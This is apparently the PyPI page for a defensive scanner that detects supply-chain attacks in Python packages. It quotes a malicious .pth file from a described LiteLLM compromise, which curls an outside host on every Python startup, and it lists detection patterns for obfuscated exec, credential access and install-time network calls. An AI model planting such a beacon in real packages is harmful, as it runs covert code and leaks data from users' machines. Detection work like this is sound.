Security scanner for Python packages โ detects supply chain attacks before they execute
Project description
๐ก๏ธ chaincanary
Stop malicious Python packages before they execute.
What happened
On March 24, 2026, LiteLLM 1.82.7 was published to PyPI with a hidden .pth file:
# litellm_init.pth โ executes on every Python startup
import subprocess, sys
subprocess.Popen(
['curl', '-s', 'https://models.litellm.cloud/beacon', '-d', sys.version],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
)
This file runs every time you start Python โ not just during pip install. It was downloaded ~95 million times per month. The package was flagged and removed, but not before significant exposure.
chaincanary was built to catch this.
Quick demo
pip install chaincanary
# Scan LiteLLM 1.82.7 (the compromised version)
chaincanary check litellm 1.82.7
๐ chaincanary โ Analyzing litellm==1.82.7
โญโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฎ
โ Severity โ Rule โ Title โ
โโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ CRITICAL โ PTH_FILE_INSTALL โ .pth file installs dangerous code... โ
โ CRITICAL โ PTH_NETWORK_BEACON โ phone-home on every Python startup โ
โ CRITICAL โ PTH_SUBPROCESS โ subprocess on every Python startup โ
โฐโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฏ
Score: 10.0 / 10.0
Verdict: โโ MALICIOUS
Rollback: pip install litellm==1.82.6
Install
pip install chaincanary
Requires Python 3.9+. No Docker. No root. Works on Linux, macOS, Windows.
Usage
Scan a single package
chaincanary check requests 2.28.0
chaincanary check litellm latest
Audit your entire project
chaincanary audit requirements.txt
chaincanary audit pyproject.toml
Output:
๐ chaincanary audit โ requirements.txt (42 packages)
Scanning packages... โโโโโโโโโโโโโโโโโโโโโโโโ 100%
โญโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโฌโโโโโโโโฌโโโโโโโโโโโฎ
โ Package โ Version โ Score โ Verdict โ
โโโโโโโโโโโโโโโโโโโโผโโโโโโโโโโผโโโโโโโโผโโโโโโโโโโโค
โ litellm โ 1.82.7 โ 10.0 โ MALICIOUSโ
โ suspicious-lib โ 0.3.1 โ 7.5 โ HIGH_RISKโ
โ requests โ 2.28.0 โ 0.0 โ SAFE โ
โ ... โ ... โ 0.0 โ SAFE โ
โฐโโโโโโโโโโโโโโโโโโโดโโโโโโโโโโดโโโโโโโโดโโโโโโโโโโโฏ
โ 2 package(s) failed the audit.
Compare two versions
chaincanary diff litellm 1.82.6 1.82.7
Version diff: litellm 1.82.6 โ 1.82.7
Added files: litellm_init.pth โ NEW .pth file
Removed: (none)
[CRITICAL] New .pth file with network beacon
Safe install
# Scans before installing, blocks if malicious
chaincanary install litellm==1.82.7
Recommended workflow
Use chaincanary install for individual packages and chaincanary audit in CI.
Aliasing pip to chaincanary is not recommended โ it changes timing expectations
(chaincanary downloads + scans before installing) and may break flags like -e . or -r.
# Individual package โ scan then install
chaincanary install requests==2.32.0
# CI โ scan all dependencies before deployment
chaincanary audit requirements.txt --fail-on HIGH_RISK
JSON output (for pipelines)
chaincanary check litellm 1.82.7 --json-output | jq '.verdict'
# "MALICIOUS"
chaincanary audit requirements.txt --json-output \
| jq '.results[] | select(.verdict != "SAFE")'
GitHub Action
Add to any repo to block malicious packages on every push:
# .github/workflows/security.yml
name: Supply Chain Security
on: [push, pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Scan dependencies for supply chain attacks
uses: allenenli/chaincanary@v0.1.0
with:
requirements: requirements.txt
fail-on: MALICIOUS # or HIGH_RISK for stricter mode
That's it. The action will fail your build if any package matches a known attack pattern.
What chaincanary detects
.pth attack (LiteLLM 1.82.7 pattern)
.pth files in Python site-packages execute on every interpreter startup โ not just during install. This makes them ideal for persistent backdoors.
chaincanary understands the difference:
| .pth content | Classification | Finding |
|---|---|---|
| Empty | Normal | โ silent |
/usr/local/lib/... |
Path-only | โ silent |
| setuptools distutils shim | Safe code | โ LOW |
subprocess.Popen(['curl', ...]) |
Dangerous | ๐ด CRITICAL |
Other attack vectors
| What | Where | Severity |
|---|---|---|
Network call during pip install |
setup.py |
HIGH |
Shell command during pip install |
setup.py |
HIGH |
exec(base64.decode(...)) obfuscation |
anywhere | HIGH |
Network call on every import |
__init__.py |
MEDIUM |
| SSH / AWS credentials access | anywhere | HIGH |
| Path traversal in wheel zip | .whl structure |
CRITICAL |
| Known malicious SHA256 hash | .whl file |
CRITICAL |
What chaincanary does NOT do
- Does not install packages
- Does not execute any package code
- Does not require Docker or privileged access
- Does not send package contents to any server
- Does not replace
pipโ it scans before you decide to install
How it works
pip install request โ your intent
โ
chaincanary โ intercepts
โ
Download wheel (no install, no execute)
โ
Static analysis:
- Zip safety (path traversal, zip bomb)
- .pth file semantic classifier
- AST analysis of setup.py / install hooks
- Obfuscation detection
- __init__.py delayed-trigger scan
- SHA256 hash database
โ
Score 0โ10 โ Verdict: SAFE / LOW_RISK / HIGH_RISK / MALICIOUS
โ
Block or proceed
No sandboxing, no Docker, no kernel modules. Pure Python static analysis that runs in seconds.
Comparison
| Tool | Detection scope | Behavioral .pth analysis | No Docker | Lockfile audit | Speed |
|---|---|---|---|---|---|
| chaincanary | Supply chain behavior | โ semantic + content | โ | โ | ~2s/pkg |
| pip-audit | Known CVEs + dep confusion | โ | โ | โ | fast |
| Safety | Known CVEs (advisory DB) | โ | โ | โ | fast |
| Trivy | SBOM + CVEs (image/repo) | โ | โ | โ | slow |
| Bandit | SAST (your source code) | โ | โ | โ | fast |
| socket.dev | Publish-time behavior diff | partial | โ | โ | fast |
chaincanary is not a CVE scanner โ it doesn't check advisory databases. It's a behavioral scanner: it looks at what a package does, not whether it appears in a known-bad list. Use it alongside pip-audit/Safety for full coverage.
Known Limitations
chaincanary is a static behavioral scanner, not a magic bullet. Know its blind spots:
| Gap | What it means | Workaround |
|---|---|---|
| No C extension analysis | Malicious .so/.pyd files aren't scanned |
Sandbox (v0.3) |
| No CVE database | Won't catch known vulnerabilities | Use alongside pip-audit |
| No dynamic sandbox | Side-effects on import not executed |
Static signals only (for now) |
| Multi-stage payloads | Pkg that downloads payload at runtime looks clean | Network monitoring (v0.3) |
| Private registries | Can't download from non-public PyPI mirrors | --offline flag (v0.2) |
โ Full limitation table: ROADMAP.md#known-limitations
Roadmap
| Version | Theme | ETA |
|---|---|---|
| post-0.1 | Scoring fixes, DNS exfil, typosquatting, git deps | โ done |
| v0.2 | Hash feed, SARIF output, --timeout, pre-commit hook |
soon |
| v0.3 | Lightweight sandbox, package reputation, npm/cargo | later |
โ Full plan: ROADMAP.md
Contributing
git clone https://github.com/allenenli/chaincanary
cd chaincanary
pip install -e ".[dev]"
pytest tests/
PRs welcome โ especially:
- New malicious hash signatures
- Detection rules for new attack patterns
- False positive reports (real packages that chaincanary misflags)
License
Apache 2.0. See LICENSE.
Built after the LiteLLM supply chain attack, March 2026.
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file chaincanary-0.1.2.tar.gz.
File metadata
- Download URL: chaincanary-0.1.2.tar.gz
- Upload date:
- Size: 41.2 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
0ea599ebfcaf2f7bad8acc239de111a04080ea2cd66e44f61aa545e1b99d14b9
|
|
| MD5 |
03348faa8fc74965ff7d0c41682ef95e
|
|
| BLAKE2b-256 |
2cffba802312dfb4da8048c615a4f36a784929bb08b03d9b15b5b4451ad092e8
|
Provenance
The following attestation bundles were made for chaincanary-0.1.2.tar.gz:
Publisher:
release.yml on AetherCore-Dev/chaincanary
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
chaincanary-0.1.2.tar.gz -
Subject digest:
0ea599ebfcaf2f7bad8acc239de111a04080ea2cd66e44f61aa545e1b99d14b9 - Sigstore transparency entry: 1181560667
- Sigstore integration time:
-
Permalink:
AetherCore-Dev/chaincanary@005c2c5a2694805b8b001a55785aed62384032cb -
Branch / Tag:
refs/tags/v0.1.2 - Owner: https://github.com/AetherCore-Dev
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
release.yml@005c2c5a2694805b8b001a55785aed62384032cb -
Trigger Event:
push
-
Statement type:
File details
Details for the file chaincanary-0.1.2-py3-none-any.whl.
File metadata
- Download URL: chaincanary-0.1.2-py3-none-any.whl
- Upload date:
- Size: 39.5 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.7
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
3fbca4e32e01d9fc0b39a981ccc074a6ed321755c3ceb1d0d8ded6f1d160684d
|
|
| MD5 |
34b7ddd7ebc02653104dc6b3632b8817
|
|
| BLAKE2b-256 |
e69a3e56cf60558d597749e0e2f9932d1c4fe7a8cd23601848b5f14ce81cd6a2
|
Provenance
The following attestation bundles were made for chaincanary-0.1.2-py3-none-any.whl:
Publisher:
release.yml on AetherCore-Dev/chaincanary
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
chaincanary-0.1.2-py3-none-any.whl -
Subject digest:
3fbca4e32e01d9fc0b39a981ccc074a6ed321755c3ceb1d0d8ded6f1d160684d - Sigstore transparency entry: 1181560726
- Sigstore integration time:
-
Permalink:
AetherCore-Dev/chaincanary@005c2c5a2694805b8b001a55785aed62384032cb -
Branch / Tag:
refs/tags/v0.1.2 - Owner: https://github.com/AetherCore-Dev
-
Access:
public
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
release.yml@005c2c5a2694805b8b001a55785aed62384032cb -
Trigger Event:
push
-
Statement type: